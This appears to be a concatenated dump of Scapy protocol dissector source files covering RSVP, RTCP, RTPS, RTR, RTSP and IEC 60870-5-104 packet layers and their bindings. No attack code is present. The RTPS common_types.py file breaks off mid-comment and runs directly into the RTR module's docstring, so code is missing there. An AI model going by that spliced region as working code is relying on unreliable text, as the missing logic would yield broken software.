p[8:] if self.chksum is None: ck = checksum(p) p = p[:2] + chb(ck >> 8) + chb(ck & 0xff) + p[4:] return p rsvptypes = {0x01: "Session", 0x03: "HOP", 0x04: "INTEGRITY", 0x05: "TIME_VALUES", 0x06: "ERROR_SPEC", 0x07: "SCOPE", 0x08: "STYLE", 0x09: "FLOWSPEC", 0x0A: "FILTER_SPEC", 0x0B: "SENDER_TEMPLATE", 0x0C: "SENDER_TSPEC", 0x0D: "ADSPEC", 0x0E: "POLICY_DATA", 0x0F: "RESV_CONFIRM", 0x10: "RSVP_LABEL", 0x11: "HOP_COUNT", 0x12: "STRICT_SOURCE_ROUTE", 0x13: "LABEL_REQUEST", 0x14: "EXPLICIT_ROUTE", 0x15: "ROUTE_RECORD", 0x16: "HELLO", 0x17: "MESSAGE_ID", 0x18: "MESSAGE_ID_ACK", 0x19: "MESSAGE_ID_LIST", 0x1E: "DIAGNOSTIC", 0x1F: "ROUTE", 0x20: "DIAG_RESPONSE", 0x21: "DIAG_SELECT", 0x22: "RECOVERY_LABEL", 0x23: "UPSTREAM_LABEL", 0x24: "LABEL_SET", 0x25: "PROTECTION", 0x26: "PRIMARY PATH ROUTE", 0x2A: "DSBM IP ADDRESS", 0x2B: "SBM_PRIORITY", 0x2C: "DSBM TIMER INTERVALS", 0x2D: "SBM_INFO", 0x32: "S2L_SUB_LSP", 0x3F: "DETOUR", 0x40: "CHALLENGE", 0x41: "DIFF-SERV", 0x42: "CLASSTYPE", 0x43: "LSP_REQUIRED_ATTRIBUTES", 0x80: "NODE_CHAR", 0x81: "SUGGESTED_LABEL", 0x82: "ACCEPTABLE_LABEL_SET", 0x83: "RESTART_CA", 0x84: "SESSION-OF-INTEREST", 0x85: "LINK_CAPABILITY", 0x86: "Capability Object", 0xA1: "RSVP_HOP_L2", 0xA2: "LAN_NHOP_L2", 0xA3: "LAN_NHOP_L3", 0xA4: "LAN_LOOPBACK", 0xA5: "TCLASS", 0xC0: "TUNNEL", 0xC1: "LSP_TUNNEL_INTERFACE_ID", 0xC2: "USER_ERROR_SPEC", 0xC3: "NOTIFY_REQUEST", 0xC4: "ADMIN-STATUS", 0xC5: "LSP_ATTRIBUTES", 0xC6: "ALARM_SPEC", 0xC7: "ASSOCIATION", 0xC8: "SECONDARY_EXPLICIT_ROUTE", 0xC9: "SECONDARY_RECORD_ROUTE", 0xCD: "FAST_REROUTE", 0xCF: "SESSION_ATTRIBUTE", 0xE1: "DCLASS", 0xE2: "PACKETCABLE EXTENSIONS", 0xE3: "ATM_SERVICECLASS", 0xE4: "CALL_OPS (ASON)", 0xE5: "GENERALIZED_UNI", 0xE6: "CALL_ID", 0xE7: "3GPP2_Object", 0xE8: "EXCLUDE_ROUTE" } class RSVP_Object(Packet): name = "RSVP_Object" fields_desc = [ShortField("Length", 4), ByteEnumField("Class", 0x01, rsvptypes), ByteField("C_Type", 1)] def guess_payload_class(self, payload): if self.Class == 0x03: return RSVP_HOP elif self.Class == 0x05: return RSVP_Time elif self.Class == 0x0c: return RSVP_SenderTSPEC elif self.Class == 0x13: return RSVP_LabelReq elif self.Class == 0xCF: return RSVP_SessionAttrb else: return RSVP_Data class RSVP_Data(Packet): name = "Data" overload_fields = {RSVP_Object: {"Class": 0x01}} fields_desc = [StrLenField("Data", "", length_from=lambda pkt:pkt.underlayer.Length - 4)] # noqa: E501 def default_payload_class(self, payload): return RSVP_Object class RSVP_HOP(Packet): name = "HOP" overload_fields = {RSVP_Object: {"Class": 0x03}} fields_desc = [IPField("neighbor", "0.0.0.0"), BitField("inface", 1, 32)] def default_payload_class(self, payload): return RSVP_Object class RSVP_Time(Packet): name = "Time Val" overload_fields = {RSVP_Object: {"Class": 0x05}} fields_desc = [BitField("refresh", 1, 32)] def default_payload_class(self, payload): return RSVP_Object class RSVP_SenderTSPEC(Packet): name = "Sender_TSPEC" overload_fields = {RSVP_Object: {"Class": 0x0c}} fields_desc = [ByteField("Msg_Format", 0), ByteField("reserve", 0), ShortField("Data_Length", 4), ByteField("Srv_hdr", 1), ByteField("reserve2", 0), ShortField("Srv_Length", 4), StrLenField("Tokens", "", length_from=lambda pkt:pkt.underlayer.Length - 12)] # noqa: E501 def default_payload_class(self, payload): return RSVP_Object class RSVP_LabelReq(Packet): name = "Label Req" overload_fields = {RSVP_Object: {"Class": 0x13}} fields_desc = [ShortField("reserve", 1), ShortField("L3PID", 1)] def default_payload_class(self, payload): return RSVP_Object class RSVP_SessionAttrb(Packet): name = "Session_Attribute" overload_fields = {RSVP_Object: {"Class": 0xCF}} fields_desc = [ByteField("Setup_priority", 1), ByteField("Hold_priority", 1), ByteField("flags", 1), FieldLenField("Name_length", None, length_of="Name"), StrLenField("Name", "", length_from=lambda pkt:pkt.Name_length), # noqa: E501 ] def default_payload_class(self, payload): return RSVP_Object bind_layers(IP, RSVP, {"proto": 46}) bind_layers(RSVP, RSVP_Object) ================================================ FILE: scapy/contrib/rtcp.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Pavel Oborin # RFC 3550 # scapy.contrib.description = Real-Time Transport Control Protocol # scapy.contrib.status = loads """ RTCP (rfc 3550) Use bind_layers(UDP, RTCP, dport=...) to start using it """ import struct from scapy.packet import Packet from scapy.fields import ( BitField, BitFieldLenField, ByteEnumField, ByteField, ConditionalField, FieldLenField, IntField, LenField, LongField, PacketField, PacketListField, StrLenField, X3BytesField, ) _rtcp_packet_types = { 200: 'Sender report', 201: 'Receiver report', 202: 'Source description', 203: 'BYE', 204: 'APP' } class SenderInfo(Packet): name = "Sender info" fields_desc = [ LongField('ntp_timestamp', None), IntField('rtp_timestamp', None), IntField('sender_packet_count', None), IntField('sender_octet_count', None) ] def extract_padding(self, p): return "", p class ReceptionReport(Packet): name = "Reception report" fields_desc = [ IntField('sourcesync', None), ByteField('fraction_lost', None), X3BytesField('cumulative_lost', None), IntField('highest_seqnum_recv', None), IntField('interarrival_jitter', None), IntField('last_SR_timestamp', None), IntField('delay_since_last_SR', None) ] def extract_padding(self, p): return "", p _sdes_chunk_types = { 0: "END", 1: "CNAME", 2: "NAME", 3: "EMAIL", 4: "PHONE", 5: "LOC", 6: "TOOL", 7: "NOTE", 8: "PRIV" } class SDESItem(Packet): name = "SDES item" fields_desc = [ ByteEnumField('chunk_type', None, _sdes_chunk_types), FieldLenField('length', None, fmt='!b', length_of='value'), StrLenField('value', None, length_from=lambda pkt: pkt.length) ] def extract_padding(self, p): return "", p class SDESChunk(Packet): name = "SDES chunk" fields_desc = [ IntField('sourcesync', None), PacketListField( 'items', None, next_cls_cb=( lambda x, y, p, z: None if (p and p.chunk_type == 0) else SDESItem ) ) ] class RTCP(Packet): name = "RTCP" fields_desc = [ # HEADER BitField('version', 2, 2), BitField('padding', 0, 1), BitFieldLenField('count', 0, 5, count_of='report_blocks'), ByteEnumField('packet_type', 0, _rtcp_packet_types), LenField('length', None, fmt='!h'), # SR/RR ConditionalField( IntField('sourcesync', 0), lambda pkt: pkt.packet_type in (200, 201) ), ConditionalField( PacketField('sender_info', SenderInfo(), SenderInfo), lambda pkt: pkt.packet_type == 200 ), ConditionalField( PacketListField('report_blocks', None, pkt_cls=ReceptionReport, count_from=lambda pkt: pkt.count), lambda pkt: pkt.packet_type in (200, 201) ), # SDES ConditionalField( PacketListField('sdes_chunks', None, pkt_cls=SDESChunk, count_from=lambda pkt: pkt.count), lambda pkt: pkt.packet_type == 202 ), ] def post_build(self, pkt, pay): pkt += pay if self.length is None: pkt = pkt[:2] + struct.pack("!h", len(pkt) // 4 - 1) + pkt[4:] return pkt ================================================ FILE: scapy/contrib/rtps/__init__.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2021 Trend Micro Incorporated """ Real-Time Publish-Subscribe Protocol (RTPS) dissection """ # scapy.contrib.description = Real-Time Publish-Subscribe Protocol (RTPS) # scapy.contrib.status = loads # scapy.contrib.name = rtps from scapy.contrib.rtps.rtps import * # noqa F403,F401 from scapy.contrib.rtps.pid_types import * # noqa F403,F401 ================================================ FILE: scapy/contrib/rtps/common_types.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2021 Trend Micro Incorporated # Copyright (C) 2021 Alias Robotics S.L. """ Real-Time Publish-Subscribe Protocol (RTPS) dissection """ # scapy.contrib.description = RTPS common types # scapy.contrib.status = library import struct from scapy.fields import ( _FieldContainer, BitField, ConditionalField, EnumField, ByteField, IntField, IPField, LEIntField, PacketField, PacketListField, ReversePadField, StrField, StrLenField, UUIDField, XIntField, XStrFixedLenField, ) from scapy.packet import Packet FORMAT_LE = "<" FORMAT_BE = ">" STR_MAX_LEN = 8192 DEFAULT_ENDIANNESS = FORMAT_LE def is_le(pkt): if hasattr(pkt, "submessageFlags"): end = pkt.submessageFlags & 0b000000001 == 0b000000001 return end return False def e_flags(pkt): if is_le(pkt): return FORMAT_LE else: return FORMAT_BE class EField(_FieldContainer): """ A field that manages endianness of a nested field passed to the constructor """ __slots__ = ["fld", "endianness", "endianness_from"] def __init__(self, fld, endianness=None, endianness_from=None): self.fld = fld self.endianness = endianness self.endianness_from = endianness_from def set_endianness(self, pkt): if getattr(pkt, "endianness", None) is not None: self.endianness = pkt.endianness elif self.endianness_from is not None: self.endianness = self.endianness_from(pkt) if isinstance(self.endianness, str) and self.endianness: if isinstance(self.fld, UUIDField): self.fld.uuid_fmt = (UUIDField.FORMAT_LE if self.endianness == '<' else UUIDField.FORMAT_BE) elif hasattr(self.fld, "fmt"): if len(self.fld.fmt) == 1: # if it's only "I" _end = self.fld.fmt[0] else: # if it's " """ RTR Based on RTR RFC 6810 https://tools.ietf.org/html/rfc6810 for version 0 Based on RTR RFC 8210 https://tools.ietf.org/html/rfc8210 for version 1 """ # scapy.contrib.description = The RPKI to Router Protocol # scapy.contrib.status = loads # Start dev import struct from scapy.packet import Packet, bind_layers, Raw from scapy.fields import ByteEnumField, ByteField, IntField, ShortField from scapy.fields import IPField, IP6Field, StrLenField from scapy.fields import FieldLenField from scapy.fields import StrFixedLenField, ShortEnumField from scapy.layers.inet import TCP from scapy.compat import orb STATIC_SERIAL_NOTIFY_LENGTH = 12 STATIC_SERIAL_QUERY_LENGTH = 12 STATIC_RESET_QUERY_LENGTH = 8 STATIC_CACHE_RESET_LENGTH = 8 STATIC_CACHE_RESPONSE_LENGTH = 8 STATIC_IPV4_PREFIX_LENGTH = 20 STATIC_IPV6_PREFIX_LENGTH = 32 STATIC_END_OF_DATA_V0_LENGTH = 12 STATIC_END_OF_DATA_V1_LENGTH = 24 RTR_VERSION = {0: '0', 1: '1'} PDU_TYPE = {0: 'Serial Notify', 1: 'Serial Query', 2: 'Reset Query', 3: 'Cache Response', 4: 'IPv4 Prefix', 6: 'IPv6 Prefix', 7: 'End of Data', 8: 'Cache Reset', 9: 'Router Key', 10: 'Error Report', 255: 'Reserved'} ERROR_LIST = {0: 'Corrupt Data', 1: 'Internal Error', 2: 'No data Available', 3: 'Invalid Request', 4: 'Unsupported Protocol Version', 5: 'Unsupported PDU Type', 6: 'Withdrawal of Unknown Record', 7: 'Duplicate Announcement Received', 8: 'Unexpected Protocol Version'} class RTRSerialNotify(Packet): ''' Serial Notify packet from section 5.2 https://tools.ietf.org/html/rfc6810#section-5.2 ''' name = 'Serial Notify' fields_desc = [ByteEnumField('rtr_version', 0, RTR_VERSION), ByteEnumField('pdu_type', 0, PDU_TYPE), ShortField('session_id', 0), IntField('length', STATIC_SERIAL_NOTIFY_LENGTH), IntField('serial_number', 0)] class RTRSerialQuery(Packet): ''' Serial Query packet from section 5.3 https://tools.ietf.org/html/rfc6810#section-5.3 ''' name = 'Serial Query' fields_desc = [ByteEnumField('rtr_version', 0, RTR_VERSION), ByteEnumField('pdu_type', 1, PDU_TYPE), ShortField('session_id', 0), IntField('length', STATIC_SERIAL_QUERY_LENGTH), IntField('serial_number', 0)] class RTRResetQuery(Packet): ''' Reset Query packet from section 5.4 https://tools.ietf.org/html/rfc6810#section-5.4 ''' name = 'Reset Query' fields_desc = [ByteEnumField('rtr_version', 0, RTR_VERSION), ByteEnumField('pdu_type', 2, PDU_TYPE), ShortField('reserved', 0), IntField('length', STATIC_RESET_QUERY_LENGTH)] class RTRCacheResponse(Packet): ''' Cache Response packet from section 5.5 https://tools.ietf.org/html/rfc6810#section-5.5 ''' name = 'Cache Response' fields_desc = [ByteEnumField('rtr_version', 0, RTR_VERSION), ByteEnumField('pdu_type', 3, PDU_TYPE), ShortField('session_id', 0), IntField('length', STATIC_CACHE_RESPONSE_LENGTH)] def guess_payload_class(self, payload): return RTR class RTRIPv4Prefix(Packet): ''' IPv4 Prefix packet from section 5.6 https://tools.ietf.org/html/rfc6810#section-5.6 ''' name = 'IPv4 Prefix' fields_desc = [ByteEnumField('rtr_version', 0, RTR_VERSION), ByteEnumField('pdu_type', 4, PDU_TYPE), ShortField('reserved', 0), IntField('length', STATIC_IPV4_PREFIX_LENGTH), ByteField('flags', 0), ByteField('shortest_length', 0), ByteField('longest_length', 0), ByteField('zeros', 0), IPField('prefix', '0.0.0.0'), IntField('asn', 0)] def guess_payload_class(self, payload): return RTR class RTRIPv6Prefix(Packet): ''' IPv6 Prefix packet from section 5.7 https://tools.ietf.org/html/rfc6810#section-5.7 ''' name = 'IPv6 Prefix' fields_desc = [ByteEnumField('rtr_version', 0, RTR_VERSION), ByteEnumField('pdu_type', 6, PDU_TYPE), ShortField('reserved', 0), IntField('length', STATIC_IPV6_PREFIX_LENGTH), ByteField('flags', 0), ByteField('shortest_length', 0), ByteField('longest_length', 0), ByteField('zeros', 0), IP6Field("prefix", "::"), IntField('asn', 0)] def guess_payload_class(self, payload): return RTR class RTREndofDatav0(Packet): ''' End of Data packet from version 0 standard section 5.8 https://tools.ietf.org/html/rfc6810#section-5.8 ''' name = 'End of Data - version 0' fields_desc = [ByteEnumField('rtr_version', 0, RTR_VERSION), ByteEnumField('pdu_type', 7, PDU_TYPE), ShortField('session_id', 0), IntField('length', STATIC_END_OF_DATA_V0_LENGTH), IntField('serial_number', 0)] class RTREndofDatav1(Packet): ''' End of Data packet from version 1 standard section 5.8 https://tools.ietf.org/html/rfc8210#section-5.8 ''' name = 'End of Data - version 1' fields_desc = [ByteEnumField('rtr_version', 1, RTR_VERSION), ByteEnumField('pdu_type', 7, PDU_TYPE), ShortField('session_id', 0), IntField('length', STATIC_END_OF_DATA_V1_LENGTH), IntField('serial_number', 0), IntField('refresh_interval', 0), IntField('retry_interval', 0), IntField('expire_interval', 0)] class RTRCacheReset(Packet): ''' Cache Reset packet from section 5.9 https://tools.ietf.org/html/rfc6810#section-5.9 ''' name = 'Reset Query' fields_desc = [ByteEnumField('rtr_version', 0, RTR_VERSION), ByteEnumField('pdu_type', 8, PDU_TYPE), ShortField('reserved', 0), IntField('length', STATIC_CACHE_RESET_LENGTH)] class RTRRouterKey(Packet): ''' Router Key packet from version 1 standard section 5.10 https://tools.ietf.org/html/rfc8210#section-5.10 ''' name = 'Router Key' fields_desc = [ByteEnumField('rtr_version', 1, RTR_VERSION), ByteEnumField('pdu_type', 9, PDU_TYPE), ByteField('flags', 0), ByteField('zeros', 0), IntField('length', None), StrFixedLenField('subject_key_identifier', '', 20), IntField('asn', 0), StrLenField('subject_PKI', '', length_from=lambda x: x.length - 32)] def post_build(self, pkt, pay): temp_len = len(pkt) + 2 if not self.length: pkt = pkt[:2] + struct.pack('!I', temp_len) + pkt[6:] return pkt + pay class RTRErrorReport(Packet): ''' Error Report packet from section 5.10 https://tools.ietf.org/html/rfc6810#section-5.10 ''' name = 'Error Report' fields_desc = [ByteEnumField('rtr_version', 0, RTR_VERSION), ByteEnumField('pdu_type', 10, PDU_TYPE), ShortEnumField('error_code', 0, ERROR_LIST), IntField('length', None), FieldLenField('length_of_encaps_PDU', None, fmt='!I', length_of='erroneous_PDU'), StrLenField('erroneous_PDU', '', length_from=lambda x: x.length_of_encaps_PDU), FieldLenField('length_of_error_text', None, fmt='!I', length_of='error_text'), StrLenField('error_text', '', length_from=lambda x: x.length_of_error_text)] def post_build(self, pkt, pay): temp_len = len(pkt) + 2 if not self.length: pkt = pkt[:2] + struct.pack('!I', temp_len) + pkt[6:] return pkt + pay PDU_CLASS_VERSION_0 = {0: RTRSerialNotify, 1: RTRSerialQuery, 2: RTRResetQuery, 3: RTRCacheResponse, 4: RTRIPv4Prefix, 6: RTRIPv6Prefix, 7: RTREndofDatav0, 8: RTRCacheReset, 10: RTRErrorReport} PDU_CLASS_VERSION_1 = {0: RTRSerialNotify, 1: RTRSerialQuery, 2: RTRResetQuery, 3: RTRCacheResponse, 4: RTRIPv4Prefix, 6: RTRIPv6Prefix, 7: RTREndofDatav1, 8: RTRCacheReset, 9: RTRRouterKey, 10: RTRErrorReport} class RTR(Packet): ''' Dummy RPKI to Router generic packet for pre-sorting the packet type eg. https://tools.ietf.org/html/rfc6810#section-5.2 ''' name = 'RTR dissector' @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): ''' Attribution of correct type depending on version and pdu_type ''' if _pkt and len(_pkt) >= 2: version = orb(_pkt[0]) pdu_type = orb(_pkt[1]) if version == 0: return PDU_CLASS_VERSION_0[pdu_type] elif version == 1: return PDU_CLASS_VERSION_1[pdu_type] return Raw bind_layers(TCP, RTR, dport=323) # real reserved port bind_layers(TCP, RTR, sport=323) # real reserved port bind_layers(TCP, RTR, dport=8282) # RIPE implementation default port bind_layers(TCP, RTR, sport=8282) # RIPE implementation default port bind_layers(TCP, RTR, dport=2222) # gortr implementation default port bind_layers(TCP, RTR, sport=2222) # gortr implementation default port if __name__ == '__main__': from scapy.main import interact interact(mydict=globals(), mybanner='RPKI to Router') ================================================ FILE: scapy/contrib/rtsp.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter """ Real Time Streaming Protocol (RTSP) RFC 2326 """ # scapy.contrib.description = Real Time Streaming Protocol (RTSP) # scapy.contrib.status = loads import re from scapy.packet import ( bind_bottom_up, bind_layers, ) from scapy.layers.http import ( HTTP, _HTTPContent, _HTTPHeaderField, _generate_headers, _dissect_headers, ) from scapy.layers.inet import TCP RTSP_REQ_HEADERS = [ "Accept", "Accept-Encoding", "Accept-Language", "Authorization", "From", "If-Modified-Since", "Range", "Referer", "User-Agent", ] RTSP_RESP_HEADERS = [ "Location", "Proxy-Authenticate", "Public", "Retry-After", "Server", "Vary", "WWW-Authenticate", ] class RTSPRequest(_HTTPContent): name = "RTSP Request" fields_desc = ( [ # First line _HTTPHeaderField("Method", "DESCRIBE"), _HTTPHeaderField("Request_Uri", "*"), _HTTPHeaderField("Version", "RTSP/1.0"), # Headers ] + ( _generate_headers( RTSP_REQ_HEADERS, ) ) + [ _HTTPHeaderField("Unknown-Headers", None), ] ) def do_dissect(self, s): first_line, body = _dissect_headers(self, s) try: method, uri, version = re.split(rb"\s+", first_line, maxsplit=2) self.setfieldval("Method", method) self.setfieldval("Request_Uri", uri) self.setfieldval("Version", version) except ValueError: pass if body: self.raw_packet_cache = s[: -len(body)] else: self.raw_packet_cache = s return body def mysummary(self): return self.sprintf( "%RTSPRequest.Method% %RTSPRequest.Request_Uri% " "%RTSPRequest.Version%" ) class RTSPResponse(_HTTPContent): name = "RTSP Response" fields_desc = ( [ # First line _HTTPHeaderField("Version", "RTSP/1.1"), _HTTPHeaderField("Status_Code", "200"), _HTTPHeaderField("Reason_Phrase", "OK"), # Headers ] + ( _generate_headers( RTSP_RESP_HEADERS, ) ) + [ _HTTPHeaderField("Unknown-Headers", None), ] ) def answers(self, other): return RTSPRequest in other def do_dissect(self, s): first_line, body = _dissect_headers(self, s) try: Version, Status, Reason = re.split(rb"\s+", first_line, maxsplit=2) self.setfieldval("Version", Version) self.setfieldval("Status_Code", Status) self.setfieldval("Reason_Phrase", Reason) except ValueError: pass if body: self.raw_packet_cache = s[: -len(body)] else: self.raw_packet_cache = s return body def mysummary(self): return self.sprintf( "%RTSPResponse.Version% %RTSPResponse.Status_Code% " "%RTSPResponse.Reason_Phrase%" ) class RTSP(HTTP): name = "RTSP" clsreq = RTSPRequest clsresp = RTSPResponse hdr = b"RTSP" reqmethods = b"|".join( [ b"DESCRIBE", b"ANNOUNCE", b"GET_PARAMETER", b"OPTIONS", b"PAUSE", b"PLAY", b"RECORD", b"REDIRECT", b"SETUP", b"SET_PARAMETER", b"TEARDOWN", ] ) @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): return cls bind_bottom_up(TCP, RTSP, sport=554) bind_bottom_up(TCP, RTSP, dport=554) bind_layers(TCP, RTSP, dport=554, sport=554) ================================================ FILE: scapy/contrib/scada/__init__.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Thomas Tannhaeuser # scapy.contrib.status = skip # Package of contrib SCADA modules. """contains packages related to SCADA protocol layers.""" from scapy.contrib.scada.iec104 import * # noqa F403,F401 ================================================ FILE: scapy/contrib/scada/iec104/__init__.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Thomas Tannhaeuser # scapy.contrib.description = IEC-60870-5-104 APCI / APDU layer definitions # scapy.contrib.status = loads """ IEC 60870-5-104 ~~~~~~~~~~~~~~~ :description: This module provides the IEC 60870-5-104 (common short name: iec104) layer, the information objects and related information element definitions. normative references: - IEC 60870-5-4:1994 (atomic base types / data format) - IEC 60870-5-101:2003 (information elements (sec. 7.2.6) and ASDU definition (sec. 7.3)) - IEC 60870-5-104:2006 (information element TSC (sec. 8.8, p. 44)) :TODO: - add allowed direction to IO attributes (but this could be derived from the name easily <--> ) - information elements / objects need more testing (e.g. on live traffic w comparison against tshark) :NOTES: - bit and octet numbering is used as in the related standards (they usually start with index one instead of zero) - some of the information objects are only valid for IEC 60870-5-101 - so usually they should never appear on the network as iec101 uses serial connections. I added them if decoding of those messages is needed cause one goes to implement a iec101<-->iec104 gateway or hits such a gateway that acts not standard conform (e.g. by forwarding 101 messages to a 104 network) """ from scapy.contrib.scada.iec104.iec104_fields import * # noqa F403,F401 from scapy.contrib.scada.iec104.iec104_information_elements import * # noqa F403,F401 from scapy.contrib.scada.iec104.iec104_information_objects import * # noqa F403,F401 from scapy.compat import orb from scapy.config import conf from scapy.error import warning, Scapy_Exception from scapy.fields import ByteField, BitField, ByteEnumField, PacketListField, \ BitEnumField, XByteField, FieldLenField, LEShortField, BitFieldLenField from scapy.layers.inet import TCP from scapy.packet import Raw, Packet, bind_layers IEC_104_IANA_PORT = 2404 # direction - from the central station to the substation IEC104_CONTROL_DIRECTION = 0 IEC104_CENTRAL_2_SUB_DIR = IEC104_CONTROL_DIRECTION # direction - from the substation to the central station IEC104_MONITOR_DIRECTION = 1 IEC104_SUB_2_CENTRAL_DIR = IEC104_MONITOR_DIRECTION IEC104_DIRECTIONS = { IEC104_MONITOR_DIRECTION: 'monitor direction (sub -> central)', IEC104_CONTROL_DIRECTION: 'control direction (central -> sub)', } # COT - cause of transmission IEC104_COT_UNDEFINED = 0 IEC104_COT_CYC = 1 IEC104_COT_BACK = 2 IEC104_COT_SPONT = 3 IEC104_COT_INIT = 4 IEC104_COT_REQ = 5 IEC104_COT_ACT = 6 IEC104_COT_ACTCON = 7 IEC104_COT_DEACT = 8 IEC104_COT_DEACTCON = 9 IEC104_COT_ACTTERM = 10 IEC104_COT_RETREM = 11 IEC104_COT_RETLOC = 12 IEC104_COT_FILE = 13 IEC104_COT_RESERVED_14 = 14 IEC104_COT_RESERVED_15 = 15 IEC104_COT_RESERVED_16 = 16 IEC104_COT_RESERVED_17 = 17 IEC104_COT_RESERVED_18 = 18 IEC104_COT_RESERVED_19 = 19 IEC104_COT_INROGEN = 20 IEC104_COT_INRO1 = 21 IEC104_COT_INRO2 = 22 IEC104_COT_INRO3 = 23 IEC104_COT_INRO4 = 24 IEC104_COT_INRO5 = 25 IEC104_COT_INRO6 = 26 IEC104_COT_INRO7 = 27 IEC104_COT_INRO8 = 28 IEC104_COT_INRO9 = 29 IEC104_COT_INRO10 = 30 IEC104_COT_INRO11 = 31 IEC104_COT_INRO12 = 32 IEC104_COT_INRO13 = 33 IEC104_COT_INRO14 = 34 IEC104_COT_INRO15 = 35 IEC104_COT_INRO16 = 36 IEC104_COT_REQCOGEN = 37 IEC104_COT_REQCO1 = 38 IEC104_COT_REQCO2 = 39 IEC104_COT_REQCO3 = 40 IEC104_COT_REQCO4 = 41 IEC104_COT_RESERVED_42 = 42 IEC104_COT_RESERVED_43 = 43 IEC104_COT_UNKNOWN_TYPE_CODE = 44 IEC104_COT_UNKNOWN_TRANSMIT_REASON = 45 IEC104_COT_UNKNOWN_COMMON_ADDRESS_OF_ASDU = 46 IEC104_COT_UNKNOWN_ADDRESS_OF_INFORMATION_OBJECT = 47 IEC104_COT_PRIVATE_48 = 48 IEC104_COT_PRIVATE_49 = 49 IEC104_COT_PRIVATE_50 = 50 IEC104_COT_PRIVATE_51 = 51 IEC104_COT_PRIVATE_52 = 52 IEC104_COT_PRIVATE_53 = 53 IEC104_COT_PRIVATE_54 = 54 IEC104_COT_PRIVATE_55 = 55 IEC104_COT_PRIVATE_56 = 56 IEC104_COT_PRIVATE_57 = 57 IEC104_COT_PRIVATE_58 = 58 IEC104_COT_PRIVATE_59 = 59 IEC104_COT_PRIVATE_60 = 60 IEC104_COT_PRIVATE_61 = 61 IEC104_COT_PRIVATE_62 = 62 IEC104_COT_PRIVATE_63 = 63 CAUSE_OF_TRANSMISSIONS = { IEC104_COT_UNDEFINED: 'undefined', IEC104_COT_CYC: 'cyclic (per/cyc)', IEC104_COT_BACK: 'background (back)', IEC104_COT_SPONT: 'spontaneous (spont)', IEC104_COT_INIT: 'initialized (init)', IEC104_COT_REQ: 'request (req)', IEC104_COT_ACT: 'activation (act)', IEC104_COT_ACTCON: 'activation confirmed (actcon)', IEC104_COT_DEACT: 'activation canceled (deact)', IEC104_COT_DEACTCON: 'activation cancellation confirmed (deactcon)', IEC104_COT_ACTTERM: 'activation finished (actterm)', IEC104_COT_RETREM: 'feedback caused by remote command (retrem)', IEC104_COT_RETLOC: 'feedback caused by local command (retloc)', IEC104_COT_FILE: 'file transfer (file)', IEC104_COT_RESERVED_14: 'reserved_14', IEC104_COT_RESERVED_15: 'reserved_15', IEC104_COT_RESERVED_16: 'reserved_16', IEC104_COT_RESERVED_17: 'reserved_17', IEC104_COT_RESERVED_18: 'reserved_18', IEC104_COT_RESERVED_19: 'reserved_19', IEC104_COT_INROGEN: 'queried by station (inrogen)', IEC104_COT_INRO1: 'queried by query to group 1 (inro1)', IEC104_COT_INRO2: 'queried by query to group 2 (inro2)', IEC104_COT_INRO3: 'queried by query to group 3 (inro3)', IEC104_COT_INRO4: 'queried by query to group 4 (inro4)', IEC104_COT_INRO5: 'queried by query to group 5 (inro5)', IEC104_COT_INRO6: 'queried by query to group 6 (inro6)', IEC104_COT_INRO7: 'queried by query to group 7 (inro7)', IEC104_COT_INRO8: 'queried by query to group 8 (inro8)', IEC104_COT_INRO9: 'queried by query to group 9 (inro9)', IEC104_COT_INRO10: 'queried by query to group 10 (inro10)', IEC104_COT_INRO11: 'queried by query to group 11 (inro11)', IEC104_COT_INRO12: 'queried by query to group 12 (inro12)', IEC104_COT_INRO13: 'queried by query to group 13 (inro13)', IEC104_COT_INRO14: 'queried by query to group 14 (inro14)', IEC104_COT_INRO15: 'queried by query to group 15 (inro15)', IEC104_COT_INRO16: 'queried by query to group 16 (inro16)', IEC104_COT_REQCOGEN: 'queried by counter general interrogation (reqcogen)', IEC104_COT_REQCO1: 'queried by query to counter group 1 (reqco1)', IEC104_COT_REQCO2: 'queried by query to counter group 2 (reqco2)', IEC104_COT_REQCO3: 'queried by query to counter group 3 (reqco3)', IEC104_COT_REQCO4: 'queried by query to counter group 4 (reqco4)', IEC104_COT_RESERVED_42: 'reserved_42', IEC104_COT_RESERVED_43: 'reserved_43', IEC104_COT_UNKNOWN_TYPE_CODE: 'unknown type code', IEC104_COT_UNKNOWN_TRANSMIT_REASON: 'unknown transmit reason', IEC104_COT_UNKNOWN_COMMON_ADDRESS_OF_ASDU: 'unknown common address of ASDU', IEC104_COT_UNKNOWN_ADDRESS_OF_INFORMATION_OBJECT: 'unknown address of information object', IEC104_COT_PRIVATE_48: 'private_48', IEC104_COT_PRIVATE_49: 'private_49', IEC104_COT_PRIVATE_50: 'private_50', IEC104_COT_PRIVATE_51: 'private_51', IEC104_COT_PRIVATE_52: 'private_52', IEC104_COT_PRIVATE_53: 'private_53', IEC104_COT_PRIVATE_54: 'private_54', IEC104_COT_PRIVATE_55: 'private_55', IEC104_COT_PRIVATE_56: 'private_56', IEC104_COT_PRIVATE_57: 'private_57', IEC104_COT_PRIVATE_58: 'private_58', IEC104_COT_PRIVATE_59: 'private_59', IEC104_COT_PRIVATE_60: 'private_60', IEC104_COT_PRIVATE_61: 'private_61', IEC104_COT_PRIVATE_62: 'private_62', IEC104_COT_PRIVATE_63: 'private_63' } IEC104_APDU_TYPE_UNKNOWN = 0x00 IEC104_APDU_TYPE_I_SEQ_IOA = 0x01 IEC104_APDU_TYPE_I_SINGLE_IOA = 0x02 IEC104_APDU_TYPE_U = 0x03 IEC104_APDU_TYPE_S = 0x04 def _iec104_apci_type_from_packet(data): """ the type of the message is encoded in octet 1..4 oct 1, bit 1 2 oct 3, bit 1 I Message 0 1|0 0 S Message 1 0 0 U Message 1 1 0 see EN 60870-5-104:2006, sec. 5 (p. 13, fig. 6,7,8) """ oct_1 = orb(data[2]) oct_3 = 